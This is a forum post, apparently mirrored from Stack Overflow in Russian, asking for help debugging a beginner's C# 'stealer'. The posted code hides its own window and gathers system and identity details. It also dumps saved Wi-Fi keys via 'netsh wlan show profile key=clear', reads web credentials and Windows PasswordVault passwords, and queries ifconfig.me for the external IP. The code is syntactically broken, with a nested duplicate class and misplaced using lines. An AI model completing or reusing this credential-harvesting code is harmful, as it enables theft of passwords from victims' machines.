Отладка для кражи в C#?C#

Место общения программистов C#
Anonymous
Отладка для кражи в C#?

Сообщение Anonymous »

В настоящее время я работал над проектом, который является основным набором на уровне начинающих в C# on VS 2022. Я изменил целевую структуру на < /p>
"8.0-windows10.0.19041.0"
< /code>
И я использую расширение
, а также расширение веб -учетных данных. Иногда это показывает «не найдено ошибок» в VS, но не работает. Вместо этого приложение консоли открывает пустой терминал по умолчанию. «Нажмите любую кнопку, чтобы закрыть». В других случаях он отображается с сообщениями об ошибках.
Вот исходный код ниже: < /p>
// machine name
using System.Diagnostics;
using System.Net.Sockets;
using System.Net;
using System.Security.Principal;
using System.Text.RegularExpressions;
using Microsoft.Win32;

// anti task mgr
using System.Runtime.InteropServices;
using Microsoft.Exchange.WebServices.Data;
static bool IsUserAdministrator()
{
bool isAdmin;
try
{
WindowsIdentity user = WindowsIdentity.GetCurrent();
WindowsPrincipal principal = new WindowsPrincipal(user);
isAdmin = principal.IsInRole(WindowsBuiltInRole.Administrator);
}
catch (UnauthorizedAccessException ex)
{
isAdmin = false;
}
catch (Exception ex)
{
isAdmin = false;
}
return isAdmin;
}
namespace HiddenProcess
{
class Program
{
[DllImport("user32.dll")]
static extern int GetWindowLong(IntPtr hWnd, int nIndex);

[DllImport("user32.dll")]
static extern int SetWindowLong(IntPtr hWnd, int nIndex, int dwNewLong);

[DllImport("user32.dll")]
static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int X, int Y, int cx, int cy, uint uFlags);

const int GWL_STYLE = -16;
const int WS_VISIBLE = 0x10000000;
const int SWP_HIDEWINDOW = 0x0080;

static void Main(string[] args, WebCredentials webCredentials)
{
Process currentProcess = Process.GetCurrentProcess();
IntPtr handle = currentProcess.MainWindowHandle;
int style = GetWindowLong(handle, GWL_STYLE);
SetWindowLong(handle, GWL_STYLE, style & ~WS_VISIBLE);
SetWindowPos(handle, IntPtr.Zero, 0, 0, 0, 0, SWP_HIDEWINDOW);

Console.WriteLine("The process is now hidden from the task manager.");
Console.ReadLine();
// Machine name
Console.WriteLine("Machine Name: " + Environment.MachineName);
// OS Version
Console.WriteLine("Passwords: " + webCredentials.Credentials);
Console.WriteLine("OS Version: " + Environment.OSVersion);
// Processor Count
Console.WriteLine("Processor Count: " + Environment.ProcessorCount);
// System Directory
Console.WriteLine("System Directory: " + Environment.SystemDirectory);
// User Domain Name
Console.WriteLine("User Domain Name: " + Environment.UserDomainName);
// User Interactive
Console.WriteLine("User Interactive: " + Environment.UserInteractive);
// User Name
Console.WriteLine("User Name: " + Environment.UserName);

// Hostname
Console.WriteLine("Current Hostname: " + Environment.MachineName);
// wifipass
Process process = new Process();
process.StartInfo.FileName = "netsh";
process.StartInfo.Arguments = "wlan show profile key=clear";
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardOutput = true;
process.Start();

string output = process.StandardOutput.ReadToEnd();
process.WaitForExit();

MatchCollection matches = Regex.Matches(output, @"All User Profile\s+:\s(.*)\r?\n.*Key Content\s+:\s(.*)\r?", RegexOptions.Singleline);
foreach (Match match in matches)
{
string ssid = match.Groups[1].Value;
string password = match.Groups[2].Value;
Console.WriteLine($"SSID: {ssid}, Password: {password}");
}
WindowsIdentity identity = WindowsIdentity.GetCurrent();
Console.WriteLine("User Profile Information:");
Console.WriteLine($" Name: {identity.Name}");
Console.WriteLine($" Authentication Type: {identity.AuthenticationType}");
Console.WriteLine($" Is Authenticated: {identity.IsAuthenticated}");
Console.WriteLine($" Is Guest: {identity.IsGuest}");
Console.WriteLine($" Is System: {identity.IsSystem}");
Console.WriteLine();
// read registry key
RegistryKey key = Registry.CurrentUser;

key = key.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run");

string value = (string)key.GetValue("SomeExampleApp");

Console.WriteLine($"SomeExampleApp registry value: {value}");
// internal IP address
string internalIp = Dns.GetHostAddresses(Dns.GetHostName())
.FirstOrDefault(ip => ip.AddressFamily == AddressFamily.InterNetwork)
?.ToString();

Console.WriteLine($"Internal IP Address: {internalIp}");
// external IP address
WebClient client = new WebClient();

string externalIpRaw = client.DownloadString("https://ifconfig.me/ip");
string externalIp = Regex.Match(externalIpRaw, @"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}").Value;
Console.WriteLine($"External IP Address: {externalIp}");
using Windows.Security.Credentials;

class Program
{
static void Main()
{
var vault = new PasswordVault();

try
{
// Get credentials from Credential Manager
var credential = vault.Retrieve("example.com", "Your_user_name");

//Get username
string userName = credential.UserName;

// Get password
string password = credential.Password;

Console.WriteLine("username: " + userName);
Console.WriteLine("password: " + password);
}
catch (Exception ex)
{
Console.WriteLine("Unable to get credentials: " + ex.Message);
}
}
}

}
}
}


Подробнее здесь: https://stackoverflow.com/questions/795 ... ealer-in-c

Вернуться в «C#»